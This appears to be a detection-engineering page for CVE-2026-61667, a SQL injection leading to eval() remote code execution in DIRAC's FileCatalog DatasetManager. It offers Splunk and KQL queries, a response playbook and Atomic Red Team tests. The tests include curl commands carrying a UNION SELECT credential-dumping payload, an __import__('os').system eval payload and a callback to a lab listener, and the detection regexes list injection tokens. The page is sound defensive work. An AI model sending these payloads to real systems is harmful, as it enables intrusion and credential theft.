CVE-2026-61667 Splunk · SPL

Detect DIRAC FileCatalog DatasetManager SQL Injection to RCE (CVE-2026-61667) in Splunk

Detects exploitation attempts against DIRAC's FileCatalog DatasetManager component, where a SQL injection vulnerability (CWE-89) can be chained with unsafe eval() usage (CWE-95) to achieve remote code execution. Affects DIRAC versions >=6,<8.0.79; >=8.1.0a1,<9.0.22; >=9.1.0,<9.1.10. A public PoC exists (GHSA-m4m7-4cw8-62j6). Detection focuses on anomalous SQL error signatures, injection payload patterns in DatasetManager RPC calls, and subsequent process spawning from the DIRAC service process indicative of successful eval()-based code execution.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

SPL Detection Query

Splunk (SPL)
spl 
index=dirac OR sourcetype=dirac:filecatalog
| regex message="(?i)(union\s+select|or\s+'1'='1|__import__|os\.system|subprocess|eval\(|exec\(|drop\s+table|sleep\()"
| rex field=message "(?i)(?<matched_pattern>union select|or '1'='1|__import__|os\.system|subprocess|eval\(|exec\(|drop table|sleep\()"
| stats count by src_ip, dest_ip, matched_pattern, _time
| where count > 0
| sort -_time
critical severity medium confidence

Searches DIRAC FileCatalog service logs for SQL injection or Python code-execution payload indicators associated with the DatasetManager vulnerability.

Data Sources

DIRAC service logsWAF logsReverse proxy logs

Required Sourcetypes

dirac:filecatalogdirac:servicewaf:generic

False Positives & Tuning

  • Internal QA test suites exercising DatasetManager with crafted edge-case strings
  • Third-party integrations passing dataset names that coincidentally match regex patterns
  • Security scanner traffic from authorized penetration tests

Other platforms for CVE-2026-61667

Microsoft Sentinel (KQL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate SQL injection payload against DatasetManager endpoint

    Expected signal: HTTP request log entry on the DIRAC service showing the injected payload in the request body/message field.

  2. Test 2Simulate eval()-based code execution payload

    Expected signal: Process creation event for a python/sh process spawned from the DIRAC service parent, with command line containing 'atomic_test_marker'.

  3. Test 3Simulate follow-on outbound connection from DIRAC service host

    Expected signal: Network connection event from the DIRAC service account/process to an external or lab listener IP shortly after the injection attempt.

Last updated: 2026-08-01 Research depth: standard
References (5)

Response Playbook

Triage

  1. Identify all DIRAC FileCatalog/DatasetManager instances in the environment and confirm their installed version against the fixed versions (8.0.79, 9.0.22, 9.1.10) to determine exposure.
  2. Review the alerting request/payload for SQL injection syntax and eval/exec code-execution markers, and correlate with source IP reputation and prior access history to the DIRAC service.
  3. Check DIRAC service logs and database audit logs for anomalous queries, unexpected schema access, or errors indicating malformed SQL near the alert timestamp.
  4. Determine whether any subsequent process execution, outbound network connections, or file writes occurred from the DIRAC service account following the suspicious request.

Containment

  1. Isolate or restrict network access to the affected DIRAC FileCatalog/DatasetManager service (e.g., firewall the service ports) pending patching if exploitation is confirmed or suspected.
  2. Disable or rotate credentials used by the DIRAC service account and revoke any grid/VO proxy certificates that may have been exposed if RCE is confirmed.

Evidence Collection

  1. Preserve DIRAC service, database, and web/reverse-proxy logs covering the incident window for forensic analysis, including raw request bodies.
  2. Capture a memory/process snapshot and disk image of the affected DIRAC host if active code execution is suspected, prior to any remediation actions.

Escalation Criteria

  • !Escalate immediately if evidence shows successful process execution or outbound connections consistent with a reverse shell or C2 beacon originating from the DIRAC service process.
  • !Escalate if the affected DIRAC instance is part of a shared grid computing environment (e.g., WLCG) where lateral compromise could affect multiple collaborating institutions.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >DIRAC FileCatalog service logs showing raw DatasetManager RPC request payloads
  • >Database audit logs revealing anomalous SQL statements or errors on the FileCatalog backend
  • >Process creation and command-line records for python/sh/bash processes spawned by the DIRAC service account

Tuning Guidance

Baseline legitimate DatasetManager query patterns and dataset naming conventions in your environment before enabling blocking actions; tune out known internal automation/service accounts and QA test suites that intentionally send edge-case strings, and prioritize alerts where suspicious payloads are followed by process execution or unexpected network egress from the DIRAC host.

Hunting Queries

Broadly hunts for any DatasetManager-related traffic containing SQL or Python keyword tokens over a longer time window to catch low-and-slow or obfuscated exploitation attempts.

Hunting — KQL
kql 
CommonSecurityLog
| where Message has "DatasetManager"
| where Message matches regex @"(?i)(select|union|eval|exec|import)"
| summarize count() by SourceIP, bin(TimeGenerated, 1h)
| order by count_ desc
Hunting — SPL
spl 
index=dirac sourcetype=dirac:filecatalog message="*DatasetManager*"
| regex message="(?i)(select|union|eval|exec|import)"
| stats count by src_ip, _time
| sort -count

Atomic Red Team Tests

Test 1 Simulate SQL injection payload against DatasetManager endpoint
linux

Sends a crafted HTTP request containing a classic SQL injection payload to a lab DIRAC FileCatalog DatasetManager endpoint to validate detection of injection patterns.

Command

bash 
curl -s -X POST 'http://lab-dirac-host:9197/FileCatalog/DatasetManager' -H 'Content-Type: application/json' -d '{"dataset": "test\u0027 UNION SELECT username, password FROM users--"}'

Cleanup

bash 
No persistent changes made; clear any test logs generated on the lab DIRAC host if log retention policies require it.

Expected Telemetry

HTTP request log entry on the DIRAC service showing the injected payload in the request body/message field.

Expected Detection

KQL/SPL rules matching 'UNION SELECT' pattern in DIRAC FileCatalog logs should trigger an alert.

Test 2 Simulate eval()-based code execution payload
linux

Submits a payload designed to trigger the eval() code path in DatasetManager, attempting to execute a benign marker command in a lab environment.

Command

bash 
curl -s -X POST 'http://lab-dirac-host:9197/FileCatalog/DatasetManager' -H 'Content-Type: application/json' -d '{"dataset": "__import__(\'os\').system(\'echo atomic_test_marker\')"}'

Cleanup

bash 
Verify no marker files or persistence artifacts were created on the lab host; remove the 'atomic_test_marker' output from logs if captured to disk.

Expected Telemetry

Process creation event for a python/sh process spawned from the DIRAC service parent, with command line containing 'atomic_test_marker'.

Expected Detection

Elastic EQL/CrowdStrike CQL correlation rules linking suspicious HTTP payload to subsequent process spawn should fire.

Test 3 Simulate follow-on outbound connection from DIRAC service host
linux

After simulating the injection/eval payload, initiates a benign outbound connection from the DIRAC service account context to mimic a post-exploitation callback for detection validation.

Command

bash 
sudo -u dirac-svc bash -c "curl -s http://lab-callback-listener:8080/atomic-test-callback"

Cleanup

bash 
Terminate the lab callback listener and remove any temporary firewall rules opened for the test; confirm no residual outbound connections remain.

Expected Telemetry

Network connection event from the DIRAC service account/process to an external or lab listener IP shortly after the injection attempt.

Expected Detection

QRadar AQL / Chronicle YARA-L rules correlating suspicious payload delivery with anomalous outbound network activity should generate an alert.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1505Server Software Component

Same Tactic: Initial Access

Popular Detections